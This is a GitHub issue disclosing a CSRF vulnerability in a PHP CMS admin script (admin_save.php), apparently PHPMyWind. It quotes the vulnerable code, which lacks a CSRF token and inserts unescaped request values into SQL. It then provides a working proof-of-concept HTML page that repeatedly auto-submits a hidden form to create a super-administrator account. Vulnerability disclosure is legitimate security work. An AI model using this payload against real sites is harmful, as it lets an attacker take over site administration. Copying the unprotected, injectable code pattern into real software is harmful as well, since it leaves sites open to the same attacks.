Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A CSRF vulnerability that can add the administrator account #14

Open
J1anCan opened this issue Jul 12, 2020 · 0 comments
Open

A CSRF vulnerability that can add the administrator account #14

J1anCan opened this issue Jul 12, 2020 · 0 comments

Comments

@J1anCan
Copy link

J1anCan commented Jul 12, 2020

There is no Token authentication when adding administrator users.
/admin/admin_save.php
The core code is as follows

if($action == 'add')
{
	if($cfg_adminlevel > 1 and $levelname == 1)
	{
		ShowMsg('非法的操作,不能创建超级管理员!', '-1');
		exit();
	}
	

	$password  = md5(md5($password));
	$loginip   = '127.0.0.1';
	$logintime = time();

	$sql = "INSERT INTO `$tbname` (username, password, nickname, question, answer, levelname, checkadmin, loginip, logintime) VALUES ('$username', '$password', '$nickname', '$question', '$answer', '$levelname', '$checkadmin', '$loginip', '$logintime')";
	if($dosql->ExecNoneQuery($sql))
	{
		header("location:$gourl");
		exit();
	}
}

After the administrator logs in, just click on the attack page, and the administrative user will be added.
poc:

<html>
<body>
<form name="form" method="post" action="http://localhost/phpmywind/admin/admin_save.php">
		<input type="hidden" name="username" value="csrf">
		<input type="hidden" name="password" value="123456">
		<input type="hidden" name="repassword" value="123456">
		<input type="hidden" name="question" value="0">
		<input type="hidden" name="levelname" value="1">
		<input type="hidden" name="checkadmin" value="true">
		<input type="hidden" name="action" value="add">
		<input type="submit" value="Submit request" />
</form>
</body>
 <script>
   setInterval("document.all.form.submit()",1)
 </script>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant